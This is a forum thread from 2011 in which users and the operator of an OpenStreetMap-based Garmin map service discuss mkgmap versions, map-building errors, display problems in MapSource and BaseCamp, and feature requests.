1. The tiles are generated on a pc at home (with r2008)
2. The maps are combined into a gmapsupp.img and an NSIS installer using (r1946). I don't think the gmapsupp.img building has changed much so there's no need to constantly upgrade to the latest version. Correct me if I'm wrong please.
3. In the past people requested to know the version of the used Mkgmap to generate the tiles so I added that as static information to the webpage (as you guessed correctly). I just forget that it's there and perhaps I should just remove that from the webpage. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 01.08.2011 09:31 · [flux]
OK, 2008 it is. Thanks. Just let me know when you change it, please, so we use the same version.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.08.2011 10:05 · [flux]
Beddhist wrote:
OK, 2008 it is. Thanks. Just let me know when you change it, please, so we use the same version.
Do you have a preference?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 01.08.2011 10:17 · [flux]
Makes no difference to me, I only compile maps for my own temporary use. I just want to stay in sync. I did spot v2009...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.08.2011 10:46 · [flux]
2008 or 2009 have no differences in the style sheets, but I would recommend building the gmapsupp.img with the same mkgmap version if that is not too difficult?
If we introduce a basic typ file sooner or later, the gmapsupp must be compiled with this typ file as well so the styles should be the same. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.08.2011 19:24 · [flux]
Lambertus wrote:
OttoPilot wrote:
I still get the same with new cycle: only Linux, tiles.txt and country.txt.
Lambertus, please fix it. I need to check my edits to OSM.
Thanks.Hmm, it occurred twice in two different updates. There must be something wrong with your edits 😛
I'll check it out.
Ok, the installed Mkgmap version on the Country server barfs on Chille:
Exception in thread "main" java.lang.NegativeArraySizeException
at uk.me.parabola.imgfmt.app.BufferedImgFileReader.get(BufferedImgFileReader.java:165)
at uk.me.parabola.imgfmt.app.net.NETFileReader.fetchZipCity(NETFileReader.java:151)
at uk.me.parabola.imgfmt.app.net.NETFileReader.getRoads(NETFileReader.java:116)
at uk.me.parabola.imgfmt.app.map.MapReader.getRoads(MapReader.java:180)
at uk.me.parabola.mkgmap.combiners.MdrBuilder.addStreets(MdrBuilder.java:300)
at uk.me.parabola.mkgmap.combiners.MdrBuilder.onMapEnd(MdrBuilder.java:171)
at uk.me.parabola.mkgmap.main.Main.endOptions(Main.java:411)
at uk.me.parabola.mkgmap.CommandArgsReader.readArgs(CommandArgsReader.java:126)
at uk.me.parabola.mkgmap.main.Main.main(Main.java:129)I'll try a newer one (r2009)...
Edit: Nope, practically the same error:Exception in thread "main" java.lang.NegativeArraySizeException
at uk.me.parabola.imgfmt.app.BufferedImgFileReader.get(BufferedImgFileReader.java:165)
at uk.me.parabola.imgfmt.app.net.NETFileReader.fetchZipCity(NETFileReader.java:151)
at uk.me.parabola.imgfmt.app.net.NETFileReader.getRoads(NETFileReader.java:116)
at uk.me.parabola.imgfmt.app.map.MapReader.getRoads(MapReader.java:180)
at uk.me.parabola.mkgmap.combiners.MdrBuilder.addStreets(MdrBuilder.java:300)
at uk.me.parabola.mkgmap.combiners.MdrBuilder.onMapEnd(MdrBuilder.java:171)
at uk.me.parabola.mkgmap.main.Main.endOptions(Main.java:431)
at uk.me.parabola.mkgmap.CommandArgsReader.readArgs(CommandArgsReader.java:126)
at uk.me.parabola.mkgmap.main.Main.main(Main.java:132)No idea what's going on here...
- Re: Worldwide routable Garmin maps: URL REMOVED · msc_nbg (Gast) · 02.08.2011 19:51 · [flux]
Dear Lambertus: first feedback: great service, thanks for the same.
One request for an improvement: Would be great if a list of countires could be selected, like Germany+Austria+Switzerland+Italy. Currently it seems only to be possible to select one country and then individual tiles.
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.08.2011 08:19 · [flux]
msc_nbg wrote:
Dear Lambertus: first feedback: great service, thanks for the same.
One request for an improvement: Would be great if a list of countires could be selected, like Germany+Austria+Switzerland+Italy. Currently it seems only to be possible to select one country and then individual tiles.
Thanks!
Thank you for your kind comment. I'll keep your idea in mind (there are also other options for quickly selecting more then one country that I'm looking into).
- Re: Worldwide routable Garmin maps: URL REMOVED · jmarteijn (Gast) · 07.08.2011 15:40 · [flux]
Hi,
First of all what a great service!
Yesterday first tried the OpenstreetMap, and i must say the map looks great on a Garmin Edge 705 using the Mapnik TYP file.Question / request is to also use the same Mapnik TYP file on the Belgium map, don't know if this is possible?
Thkx!
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 07.08.2011 20:49 · [flux]
What Belgium map are you referring to?
- Re: Worldwide routable Garmin maps: URL REMOVED · Henrik B (Gast) · 07.08.2011 22:52 · [flux]
Well.. not much help around here to get a complete Routable Europe Map as an .EXE fil to install in MapSource.
But now i´ve solved the problem myself.. :-)
Download the .IMG files here: [link:ftp://ftp5.gwdg.de/pub/misc/openstreetmap/teddynetz.de/latest/ ftp://ftp5.gwdg.de/pub/misc/openstreetm … de/latest/]
Take them through Mapset Tool kit.
Use the tutorial at http://www.gpsfiledepot.com/tutorials/h … ling-data/ - in ordrer to make the .EXE file with NSIS
Run the .EXE file and you have af complete cross-border routable map for Europe.
Henrik B
Denmark - Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 08.08.2011 00:51 · [flux]
Henrik B,
What are you doing with MapSetToolKit? If you've got a TDB file and an overview map IMG (and a TYP file if you want all the niceties) you can install them directly using MapSetToolKit. No need for an NSIS installer unless you plan to distribute. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.08.2011 10:05 · [flux]
@jmarteijn: You can use the same mapnik.typ with mapset toolkit for other countries as well, but I see what the problem is here.
If you choose a mapnik typ file, the button 'Download map now!' is not available only if you choose the Netherlands.
Maybe Lambertus can fix this? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.08.2011 11:28 · [flux]
ligfietser wrote:
@jmarteijn: You can use the same mapnik.typ with mapset toolkit for other countries as well, but I see what the problem is here.
If you choose a mapnik typ file, the button 'Download map now!' is not available only if you choose the Netherlands.
Maybe Lambertus can fix this?I know there is something 'not entirely optimal' going on with the website (it's fixed for the next website release).
In the mean time it would be best to change the TYP file selection after you select the country, perhaps you should even do this if you don't want a TYP file included (change to Mapnik and then back to None). This will trigger the "check for existing map" function.
- Re: Worldwide routable Garmin maps: URL REMOVED · jmarteijn (Gast) · 08.08.2011 12:15 · [flux]
Lambertus wrote:
ligfietser wrote:
@jmarteijn: You can use the same mapnik.typ with mapset toolkit for other countries as well, but I see what the problem is here.
If you choose a mapnik typ file, the button 'Download map now!' is not available only if you choose the Netherlands.
Maybe Lambertus can fix this?I know there is something 'not entirely optimal' going on with the website (it's fixed for the next website release).
In the mean time it would be best to change the TYP file selection after you select the country, perhaps you should even do this if you don't want a TYP file included (change to Mapnik and then back to None). This will trigger the "check for existing map" function.
Thkx for the quick reply!
Looks to be fixed now....
- Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 09.08.2011 17:21 · [flux]
petersfreeman wrote:
Lambertus wrote:
Peter, I've confirmed the problem by just looking at the NZ Auckland tile. It's quite possible that the 180 degree line is the problem, but how and where (i.e. Splitter or Mkgmap). I'll gather some data to test with and write about this to the Mkgmap dev list.
Funny thing is that I can zoom in normally to 100 km, but one step further and the map disappears. Then, if I move the map to the left (i.e. scroll towards the 180 degree line) the map shows up again and when I zoom in again the map disappears again. This process can be repeated a few times more, but you end up looking at the empty ocean off the east-coast of the Northern Island in closeup.
Thanks for your report.
Edit: Ah, now I see. The problem also appears if you zoom in on the western part of the tile. You can keep zooming in as long as you keep a tile edge visible in the screen, but this doesn't apply for the top or bottom tile edge; only the vertical tile edges. As soon as you scroll the left or right tile edge out the window the map disappears.
Any progress on this?
Thanks,
Peter
Lambertus wrote:
No, I forgot 🙁 Sorry about that. I'll have a look this evening...
I just downloaded the New Zealand tiles and there has been a big improvement. Everything works fine for down to and including the 200km scale. As soon as I drop below that from 150km and below, I lose everything east of a line that seems to be at E1273.94520.
Any idea as to why this is happening?
Thanks Lambertus!
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.08.2011 08:54 · [flux]
jmarteijn wrote:
Looks to be fixed now....
No, it's not fixed. The problem just doesn't show up everytime.
petersfreeman wrote:
I just downloaded the New Zealand tiles and there has been a big improvement. Everything works fine for down to and including the 200km scale. As soon as I drop below that from 150km and below, I lose everything east of a line that seems to be at E1273.94520.
Any idea as to why this is happening?
Sorry I have to disappoint you again, but I'm still not quite getting what's wrong in that area after looking at the data.
- Re: Worldwide routable Garmin maps: URL REMOVED · Sulla (Gast) · 10.08.2011 10:18 · [flux]
Hi Lambertus!
A suggestion to ease server load: The downloading of "predefined countries" in Europe at least, is of little use. Rarely anyone can do with the map of a single country, at least not when travelling.
Would it be possible to also create "predefined regions", such as "the Alps", "BeNeLux", "the Balkans", i.e. regions that are needed more often together than on their own.
In return, you could remove some smaller states altogether, like Lichtenstein or Monaco which might never be useful on their own.Also, it would be GREAT if one could save his own tileset in order to load it at a later time to download the newest map of the same region.
regards,
Sulla - Re: Worldwide routable Garmin maps: URL REMOVED · OttoPilot (Gast) · 12.08.2011 00:09 · [flux]
Lambertus wrote:
Lambertus wrote:
OttoPilot wrote:
I still get the same with new cycle: only Linux, tiles.txt and country.txt.
Lambertus, please fix it. I need to check my edits to OSM.
Thanks.Hmm, it occurred twice in two different updates. There must be something wrong with your edits 😛
I'll check it out.
Ok, the installed Mkgmap version on the Country server barfs on Chille:
Exception in thread "main" java.lang.NegativeArraySizeException
at uk.me.parabola.imgfmt.app.BufferedImgFileReader.get(BufferedImgFileReader.java:165)
at uk.me.parabola.imgfmt.app.net.NETFileReader.fetchZipCity(NETFileReader.java:151)
at uk.me.parabola.imgfmt.app.net.NETFileReader.getRoads(NETFileReader.java:116)
at uk.me.parabola.imgfmt.app.map.MapReader.getRoads(MapReader.java:180)
at uk.me.parabola.mkgmap.combiners.MdrBuilder.addStreets(MdrBuilder.java:300)
at uk.me.parabola.mkgmap.combiners.MdrBuilder.onMapEnd(MdrBuilder.java:171)
at uk.me.parabola.mkgmap.main.Main.endOptions(Main.java:411)
at uk.me.parabola.mkgmap.CommandArgsReader.readArgs(CommandArgsReader.java:126)
at uk.me.parabola.mkgmap.main.Main.main(Main.java:129)I'll try a newer one (r2009)...
Edit: Nope, practically the same error:Exception in thread "main" java.lang.NegativeArraySizeException
at uk.me.parabola.imgfmt.app.BufferedImgFileReader.get(BufferedImgFileReader.java:165)
at uk.me.parabola.imgfmt.app.net.NETFileReader.fetchZipCity(NETFileReader.java:151)
at uk.me.parabola.imgfmt.app.net.NETFileReader.getRoads(NETFileReader.java:116)
at uk.me.parabola.imgfmt.app.map.MapReader.getRoads(MapReader.java:180)
at uk.me.parabola.mkgmap.combiners.MdrBuilder.addStreets(MdrBuilder.java:300)
at uk.me.parabola.mkgmap.combiners.MdrBuilder.onMapEnd(MdrBuilder.java:171)
at uk.me.parabola.mkgmap.main.Main.endOptions(Main.java:431)
at uk.me.parabola.mkgmap.CommandArgsReader.readArgs(CommandArgsReader.java:126)
at uk.me.parabola.mkgmap.main.Main.main(Main.java:132)No idea what's going on here...
If I leave the tile WS-Apia out (and don't get Easter Island of course), the map compiles just fine and I get the gmapsupp file and all the others. Maybe Mkgmap doesn't know Easter Island is chilean.
- Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 12.08.2011 05:28 · [flux]
Lambertus wrote:
jmarteijn wrote:
Looks to be fixed now....
No, it's not fixed. The problem just doesn't show up everytime.
petersfreeman wrote:
I just downloaded the New Zealand tiles and there has been a big improvement. Everything works fine for down to and including the 200km scale. As soon as I drop below that from 150km and below, I lose everything east of a line that seems to be at E1273.94520.
Any idea as to why this is happening?
Sorry I have to disappoint you again, but I'm still not quite getting what's wrong in that area after looking at the data.
I'll load the New Zealand maps from MapSource into my Garmin GPS and see if they display okay. I'll let you know how it goes.
Thanks Lambertus,
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 28.08.2011 08:34 · [flux]
petersfreeman wrote:
Lambertus wrote:
jmarteijn wrote:
Looks to be fixed now....
No, it's not fixed. The problem just doesn't show up everytime.
petersfreeman wrote:
I just downloaded the New Zealand tiles and there has been a big improvement. Everything works fine for down to and including the 200km scale. As soon as I drop below that from 150km and below, I lose everything east of a line that seems to be at E1273.94520.
Any idea as to why this is happening?
Sorry I have to disappoint you again, but I'm still not quite getting what's wrong in that area after looking at the data.
I'll load the New Zealand maps from MapSource into my Garmin GPS and see if they display okay. I'll let you know how it goes.
Thanks Lambertus,
Peter
Just tested the New Zealand maps after I downloaded them to my Garmin GPSmap 76CSx and all of the detail is showing up at various zoom levels. It seems that the problem is just with MapSource.
Cheers,
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 28.08.2011 09:09 · [flux]
"Try Basecamp." (C) Garmin support ...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.08.2011 09:52 · [flux]
Basecamp has other issues. The latest releases (from 3.2.1) doesn't support OSM access rules anymore....
Cyclists will be routed on major highways or steps, even motorcars will take cycleways etc.
This sucks.... - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 28.08.2011 11:41 · [flux]
You lost me there. What has Basecamp got to do with OSM? Does it read OSM files?
I just had to test it with a map I compiled myself from OSM and the routing works as expected.
BTW: a new version is out.
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.08.2011 13:25 · [flux]
Beddhist wrote:
You lost me there. What has Basecamp got to do with OSM? Does it read OSM files?
That is exactly the problem ;-) Basecamp (read: Garmin) has nothing with OSM.
OSM Garmin maps compiled with mkgmap are not compatible anymore with the latest versions of Basecamp. 🙁
See also https://forums.garmin.com/showpost.php? … stcount=48
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 28.08.2011 16:32 · [flux]
ligfietser wrote:
OSM Garmin maps compiled with mkgmap are not compatible anymore with the latest versions of Basecamp. 🙁
Ligfietser, have you tried BaseCamp 3.2.2?
Just tried Lambertus' latest map for Amarillo, TX, USA, (BaseCamp 3.2.2), routing preference set to Bicycling. Start point was Ambasitor (sp) hotel, end point was Rick Husband Airport. The bicycling route stayed on residential streets as much as possible. When I re-set routing to Automobile it followed the Interstate and also used the very Texas peculiar ramp access to get to the Interstate.Could it be a mkgmap bug?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.08.2011 17:16 · [flux]
Basecamp 3.2.2 and 3.2.1
This behaviour is reported by several other people and affects also maps compiled with cgpsmapper. So its not likely a mkgmap bug, since it does not appear on Mapsource nor on the gps (yet). I'm afraid it will appear soon if Garmin is updating the GPS firmware to make it compatible with the new Basecamp standards. - Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 28.08.2011 18:19 · [flux]
ligfietser wrote:
Basecamp 3.2.2 and 3.2.1
This behaviour is reported by several other people and affects also maps compiled with cgpsmapper. So its not likely a mkgmap bug, since it does not appear on Mapsource nor on the gps (yet). I'm afraid it will appear soon if Garmin is updating the GPS firmware to make it compatible with the new Basecamp standards.Ouch... I just reproduced the error in a map I compiled with cgpsmapper. Route runs from a point on a main road to another point on a main road. The route is paralleled by a bike path. Routing preference set to Bicycle. MapSource exits the main road, takes the bike path, and re-enters the main road. BaseCamp stays on the main road.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 28.08.2011 21:10 · [flux]
I see what you mean now. OSM = Third Party Maps.
I only did a quick test on a Thailand map I compiled myself and it worked.
Let's remember one thing: Garmin supports only Garmin products. If you load another map into their software or GPS you are on your own. They have now moved to the NT format and it seems that this is the only format they now work on. Nobody has been able to hack this yet, so we are now left behind. It's the Apple closed-system business model.
Perhaps it's time we left Garmin behind and started looking for alternative, more open devices, like Android, WinPhones or even TomTom (runs Linux, no?). If we had navigation s/w written by OSM programmers then we wouldn't struggle with workarounds like we do now.
Personally, I have shelled out 600 $US for my Zumo. I bought it, because it's the only GPS suitable for a motorcycle into which I can load OSM and Polish format maps. It's my 3rd and most likely last Garmin. When the time comes to replace it I'll be looking for another kind of device.
OK, enough of that. We will have to live with Garmin's products for now. If BC doesn't work for us then let's just stick with MS, which mostly works now.
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · chris66 (Gast) · 02.09.2011 09:09 · [flux]
ligfietser wrote:
Basecamp has other issues. The latest releases (from 3.2.1) doesn't support OSM access rules anymore....
Cyclists will be routed on major highways or steps, even motorcars will take cycleways etc.
This sucks....Yes, I have the same issue with my selfbuild map in BC. 🙁
The question is: Bug in BC or design decision at Garmin (to break OSM maps on Garmin) .......
Chris
- Re: Worldwide routable Garmin maps: URL REMOVED · sabri66 (Gast) · 02.09.2011 11:33 · [flux]
Hi Lambertus,
Thanks for the work you've done, the adress search problem is solved for the nuvi1390, first I downloaded the files each separately for Algeria the method didnt work, so after when I downloded the country osm_routable_mapsource.exe and installed mapsource, mapsource indexed the address and now when I type A for Algeria it display it with the other Eurpean contries ,city and street works . SO THHHAAANNNKKKS YYYYOOOUUU - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.09.2011 08:25 · [flux]
You're welcome sabri, but the thanks goes entirely to the Mkgmap development community (of which I'm not an active member, but they deserve all the kudo's they can get) 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lebostein (Gast) · 07.09.2011 11:44 · [flux]
RoadTrip for Mac is no longer supported (since 2 years).
Garmin recommends BaseCamp. BaseCamp is the one and only Garmin software for the Mac. - Re: Worldwide routable Garmin maps: URL REMOVED · fussputnik (Gast) · 09.09.2011 10:14 · [flux]
When I select a couple of tiles and have a gmapsupp.img rendered, it would be nice if I could give a name. That could be used with the --description parameter of mkgmap and I could identify that map more easily on my device. To a lesser extent I'd also like the option of changing the name of the img file (--mapname) and the product ID (--product-id).
But, foremost: Thanks for that great service. It's really really nice to have that.
- Re: Worldwide routable Garmin maps: URL REMOVED · sabri66 (Gast) · 11.09.2011 21:03 · [flux]
Hi Lambertus,
The last update september 10 didn't take into account the mod I 've done on my town (before 10/09), new streets, roundabout etc while in OSM it 's updated
so Garmin map is different to OSMap
explanation please and Thks - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.09.2011 08:19 · [flux]
fussputnik wrote:
When I select a couple of tiles and have a gmapsupp.img rendered, it would be nice if I could give a name. That could be used with the --description parameter of mkgmap and I could identify that map more easily on my device. To a lesser extent I'd also like the option of changing the name of the img file (--mapname) and the product ID (--product-id).
But, foremost: Thanks for that great service. It's really really nice to have that.
Agreed to all points, but -as always- time is lacking to implement this
But there are 3-rd party applications that can do this work for you when you've downloaded the maps. (i.e. GMTK but there are others as well).
sabri66 wrote:
Hi Lambertus,
The last update september 10 didn't take into account the mod I 've done on my town (before 10/09), new streets, roundabout etc while in OSM it 's updated
so Garmin map is different to OSMap
explanation please and ThksThere hasn't been an update on September 10th. The current map version is of 12-08-2011 (which remembers me to run a new update now that I'm back from holidays), you can see the current map version directly below the slippy map on the website.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.09.2011 08:48 · [flux]
Lambertus wrote:
There hasn't been an update on September 10th. The current map version is of 12-08-2011 (which remembers me to run a new update now that I'm back from holidays), you can see the current map version directly below the slippy map on the website.
Will it be possible to run the updates with the new style? It's ready as far as I can see, looking forward for your opinion 🙄
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.09.2011 10:05 · [flux]
The new site seems ready for it but afaik the custom server isn't yet. I would like to have the new site running privately and reasonably tested first before throwing it out there.
- Re: Worldwide routable Garmin maps: URL REMOVED · FMFT (Gast) · 16.09.2011 16:08 · [flux]
When can we expect the next build?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.09.2011 17:04 · [flux]
FMFT wrote:
When can we expect the next build?
It's uploading, hopefully without problems.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.09.2011 09:03 · [flux]
Well, there was a problem: the custom server was not online at the critical moment in the update process, so I had to finish the final steps manually. But a new version is finally online.
- Re: Worldwide routable Garmin maps: URL REMOVED · jorisbens (Gast) · 20.09.2011 14:36 · [flux]
Is it possible to download the mapnik typ file seperately from a predefined country?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.09.2011 15:04 · [flux]
jorisbens wrote:
Is it possible to download the mapnik typ file seperately from a predefined country?
- Re: Worldwide routable Garmin maps: URL REMOVED · jorisbens (Gast) · 20.09.2011 15:43 · [flux]
Oops, thanks a lot!
- Re: Worldwide routable Garmin maps: URL REMOVED · alester (Gast) · 21.09.2011 05:25 · [flux]
Lambertus wrote:
Well, there was a problem: the custom server was not online at the critical moment in the update process, so I had to finish the final steps manually. But a new version is finally online.
Is it actually a new version? Any changes since at least September 6 aren't reflected in my area (Victoria, BC, Canada). I'd appreciate it if you could check and make sure the right version got uploaded.
Thanks
Andrew - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.09.2011 10:30 · [flux]
alester wrote:
Is it actually a new version? Any changes since at least September 6 aren't reflected in my area (Victoria, BC, Canada). I'd appreciate it if you could check and make sure the right version got uploaded.
I'm sure the current version is not a copy of the previous one. But it's possible that the incremental process that keeps my planet copy updated is sometimes missing changes. I'll download a fresh planet and run a new update this weekend.
- Re: Worldwide routable Garmin maps: URL REMOVED · Alfonso-Garcia (Gast) · 23.09.2011 23:53 · [flux]
Hi, I am new here and have one question, I downloaded several .img files from http://garmin.openstreetmap.nl/ for the USA; now I put this on my SD card and put this into my Garmin Nüvi 350, but I cannot see the maps of the selected states; what am I doing wrong? Do I still need to do something? For any help I would appreciate it; next Tuesday I am going to the US and hopefully by then I have got the system working ;-) , BR A-G
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.09.2011 12:08 · [flux]
Separate .img files cannot be read by your GPS. They need to be combined into a single container (confusingly also named .img). Some devices support multiple containers though.
So you need to combine the .img files into a single container .img (usually named gmapsupp.img). There are multiple ways and applications that can do this for you. Selecting the tiles on the website and request the server to make them into a map is one such way. You'll receive a download link from which you can download the gmapsupp.img.
But, since you're going to the US, you can also download large portions using Dave Hansen's work who has done the work -as described above- for you:
- Re: Worldwide routable Garmin maps: URL REMOVED · Keeper of Maps (Gast) · 24.09.2011 19:27 · [flux]
Hi Lambertus...
I've been trying to download a custom set of tiles for the last day or two but when I enter my email address and click the button I receive a server timed out error. I just thought I'd let you know in case you weren't aware of the problem. Many thanks for this invaluable service! 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.09.2011 12:10 · [flux]
Yes, it's unfortunate but the custom map server appears to suffer from a hardware and/or software problem which causes it to freeze up regularly. The administrator is trying hard to find a solution, but it's not fixed yet. If the connection to the server times-out then the server is almost certainly in a freezed state. Perhaps it's wise to check the server status below the slippy map before attempting to request a custom map.
It should be accepting requests again since this morning 08:00 CET (GMT+1)
- Re: Worldwide routable Garmin maps: URL REMOVED · Roy73 (Gast) · 25.09.2011 21:55 · [flux]
I'm probably not the first one to ask this question, but I can't find tha answer. When I download a map of for example the Benelux for mapsource it is called osm_routable_mapsource.exe. installation works fine and I can work with the map in mapsource. Next I downloaded a map of France, the filename of the download has the same name as the other map and during installation it overwrites the map of the Benelux. Can you tell me what I'm doing wrong?
- Re: Worldwide routable Garmin maps: URL REMOVED · Wombatus (Gast) · 26.09.2011 06:12 · [flux]
If you search on OSM with the term "Duncan Rd, Sarsfield" the results show, correctly, "Duncan Rd, Sarsfield 3885, Victoria, Australia", and described as "Unclassified Road". However if I look at Duncan Rd on OSM in Edit mode, it is described as "Tertiary Road". What is more interesting is that if I request the tile that contains Duncan Rd (AU-Albury) and install it to Mapsource, Duncan Rd is not visible at all, even with Map Detail set to highest. All other Tertiary Roads nearby show up OK.
Can you advise what is going wrong.
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 26.09.2011 09:42 · [flux]
I suspect that because it is also tagged as an administrative boundary, the maper of your Mapsource map isn't processing it correctly and so the road tags are not making it through to the final map.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.09.2011 09:55 · [flux]
Roy73 wrote:
I'm probably not the first one to ask this question, but I can't find tha answer. When I download a map of for example the Benelux for mapsource it is called osm_routable_mapsource.exe. installation works fine and I can work with the map in mapsource. Next I downloaded a map of France, the filename of the download has the same name as the other map and during installation it overwrites the map of the Benelux. Can you tell me what I'm doing wrong?
All maps use the same Garmin Product and Family ID so they overwrite each other. The website lists a manual -below the slippy map- that describes how to install multiple maps.
csdf wrote:
I suspect that because it is also tagged as an administrative boundary, the maper of your Mapsource map isn't processing it correctly and so the road tags are not making it through to the final map.
That's right, although I'm currently only removing the very lowest administrative borders (from the top of my head: levels 9 & 10), which might include roads that use the same OSM ways. Very unfortunately indeed. I think the upcoming changes will fix this.
- Re: Worldwide routable Garmin maps: URL REMOVED · Wombatus (Gast) · 28.09.2011 08:03 · [flux]
Lambertus wrote:
Roy73 wrote:
I'm probably not the first one to ask this question, but I can't find tha answer. When I download a map of for example the Benelux for mapsource it is called osm_routable_mapsource.exe. installation works fine and I can work with the map in mapsource. Next I downloaded a map of France, the filename of the download has the same name as the other map and during installation it overwrites the map of the Benelux. Can you tell me what I'm doing wrong?
All maps use the same Garmin Product and Family ID so they overwrite each other. The website lists a manual -below the slippy map- that describes how to install multiple maps.
csdf wrote:
I suspect that because it is also tagged as an administrative boundary, the maper of your Mapsource map isn't processing it correctly and so the road tags are not making it through to the final map.
That's right, although I'm currently only removing the very lowest administrative borders (from the top of my head: levels 9 & 10), which might include roads that use the same OSM ways. Very unfortunately indeed. I think the upcoming changes will fix this.
Lambertus
I have since found that the OSM routable maps that I had loaded to my GPS60Cx earlier this year which contained the AU-Albury tile, did show Duncan Rd, Sarsfield. So something has changed since then to make it not show up in the maps I . Can you advise when the upcoming changes you refer to will take effect?
Many thanks. - Re: Worldwide routable Garmin maps: URL REMOVED · jagspeed (Gast) · 29.09.2011 07:17 · [flux]
Great Program..
Would like to ask some help on this matter. I have tried to down load both (several and alternatively couiple of maps) but after running the .exe file, the Mapsource shows a bland map where the selected maps are located?
Would this be a corrupt download or is the Map-source the wrong version?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 29.09.2011 08:35 · [flux]
Wombatus wrote:
I have since found that the OSM routable maps that I had loaded to my GPS60Cx earlier this year which contained the AU-Albury tile, did show Duncan Rd, Sarsfield. So something has changed since then to make it not show up in the maps I . Can you advise when the upcoming changes you refer to will take effect?
Many thanks.Well, I don't know what caused the road to disappear if it was still visible early this year because, afaik, the boundary filtering is applied for longer then that. But the boundary filtering is still the primary suspect, which should be fixed when I release the next website update. For that to happen I need to make sure that both map servers are updated as well. I'm still working on the custom map server, the country map server is ready.
jagspeed wrote:
Would like to ask some help on this matter. I have tried to down load both (several and alternatively couiple of maps) but after running the .exe file, the Mapsource shows a bland map where the selected maps are located?
Would this be a corrupt download or is the Map-source the wrong version?
If the .exe ran without problems then it's something else (the .exe has built-in sanity checks). Providing a MapSource version number would be handy 😉
Normal MapSource procedure is (after installing the map):
- select the map from the dropdown menu
- zoom out to 3000 km
- look for a small yellow blob on the screen
- zoom in on the blob
- below e.g. 1km you should really see roadsIf not, press ctrl+g twice to clear the MapSource cache and try again. I don't know what's wrong if it still doesn't work after this.
- Re: Worldwide routable Garmin maps: URL REMOVED · jagspeed (Gast) · 29.09.2011 11:17 · [flux]
Lambertus
You are the Guru.
Mapsource 6.16.3
The "ctrl+g"twice worked perfect. All the map details came out so its working now.
Thanks so much, I been trying to get workable OSM into my GPS for 2 weeks from splitting to MKGmap to everything. I can sleep once again.
jagspeed wrote:
Would like to ask some help on this matter. I have tried to down load both (several and alternatively couiple of maps) but after running the .exe file, the Mapsource shows a bland map where the selected maps are located?
Would this be a corrupt download or is the Map-source the wrong version?
If the .exe ran without problems then it's something else (the .exe has built-in sanity checks). Providing a MapSource version number would be handy 😉
Normal MapSource procedure is (after installing the map):
- select the map from the dropdown menu
- zoom out to 3000 km
- look for a small yellow blob on the screen
- zoom in on the blob
- below e.g. 1km you should really see roadsIf not, press ctrl+g twice to clear the MapSource cache and try again. I don't know what's wrong if it still doesn't work after this.
- Re: Worldwide routable Garmin maps: URL REMOVED · Larry0ua (Gast) · 30.09.2011 09:10 · [flux]
Hi!
Have several suggestions for generated maps...
1)-- removed, seems that only I have that problem...2) it could be great to see building numbers at the map:
file points
mkgmap:housenumber!=* & addr:housenumber=* { set mkgmap:housenumber='${addr:housenumber}' }
file polygons
mkgmap:housenumber!=* & addr:housenumber=* { set mkgmap:housenumber='${addr:housenumber}' }
building=* | man_made=* | amenity=* | tourism=* {name '${addr:housenumber}'} [0x13 resolution 22]I suppose the first lines are from default style of new mkgmap to support map indexing... only last line is enough.
3) still would be good to have option to generate map with "code-page=1251" parameter... Like enabling Mapnik style is done
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 30.09.2011 12:32 · [flux]
Lambertus wrote:
- zoom out to 3000 km
- look for a small yellow blob on the screen
- zoom in on the blobConvenient shortcut for this procedure is to press "Ctrl -".
- Re: Worldwide routable Garmin maps: URL REMOVED · PHerison (Gast) · 04.10.2011 22:29 · [flux]
I don't know if this is the right thread for this, but the ocean in the UK gmapsupp is missing around Liverpool.
- Re: Worldwide routable Garmin maps: URL REMOVED · freewave (Gast) · 05.10.2011 19:28 · [flux]
Is it normal for woods and wetlands to show up as lines in mapsource and basecamp? I suspect its because there is no typ file but I really dont know.
regards
